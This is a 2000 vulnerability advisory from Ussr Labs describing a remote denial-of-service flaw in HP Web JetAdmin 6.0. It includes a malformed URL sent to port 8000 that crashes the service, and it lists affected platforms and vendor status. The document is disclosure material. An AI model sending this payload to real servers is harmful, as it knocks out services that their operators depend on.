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Subject: HP Web JetAdmin Version 6.0 Remote DoS attack Vulnerability
From: Ussr Labs (labsUSSRBACK.COM)
Date: Wed May 24 2000 - 03:50:48 CDT


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HP Web JetAdmin Version 6.0 Remote DoS attack Vulnerability

USSR Advisory Code: USSR-2000042

Release Date:
May 24, 2000

Affected Software Versions
HP Web JetAdmin Version 6.0 (Microsoft Windows 2000)
HP Web JetAdmin Version 6.0 (Microsoft Windows NT 4.0)
HP Web JetAdmin Version 6.0 (HP-UX 10.20) (not tested)
HP Web JetAdmin Version 6.0 (HP-UX 11.x) (not tested)
HP Web JetAdmin Version 6.0 (Linux - SuSE) (not tested)
HP Web JetAdmin Version 6.0 (Novell NetWare) (not tested)
HP Web JetAdmin Version 6.0 (Red Hat Linux) (not tested)
HP Web JetAdmin Version 6.0 (Solaris) (not tested)

THE PROBLEM

UssrLabs found a memory overflow heap Vulnerability in HP Web
JetAdmin Version 6.0 (port 8000) default.
What happens is by preforming an attack with a malformed url
information to port 8000 it will cause the proccess containg the
services to stop responding.

Example:

Original:
http://SeverIp:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd:
GetProfile(new_list,__null,__null,$__hpjwja_ack_ini)(_deviceList)&clea
rFilters=true&_refreshdevicelist=true&_special=new

Malformed:
http://ServerIp:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd
:GetProfile(new_list,__null,__null,$

SPECIAL NOTE: That we take no responsibility for this, is for
educational purposes only.

Vendor Status:
Informed.

Vendor Url: http://www.hp.com/
Program Url:
http://www.hp.com/cposupport/prodhome/hpwebjetad1880.html

Fix:
Noting Yet

Related Links:

Underground Security Systems Research
http://www.ussrback.com

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Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN,
Sub, prizm, b0f,Technotronic and Rfp.

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